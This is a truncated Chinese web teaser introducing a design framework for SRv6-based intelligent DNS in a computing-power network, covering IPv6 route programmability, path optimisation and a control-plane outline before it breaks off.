一、算力网-DNS 1.1、核心架构设计 1.1.1 设计框架 基于SRv6的智能DNS算法设计框架&#xff0c;结合IPv6路由可编程性、动态路径优化及业务感知能力&#xff0c;实现网络性能与用户体验的双重提升&#xff1a;​ ​SRv6-DNS融合架构​ ​控制平面​&#xff1a; DNS服务器集…
阅读更多...
最新文章

Copyright @ 2022~2023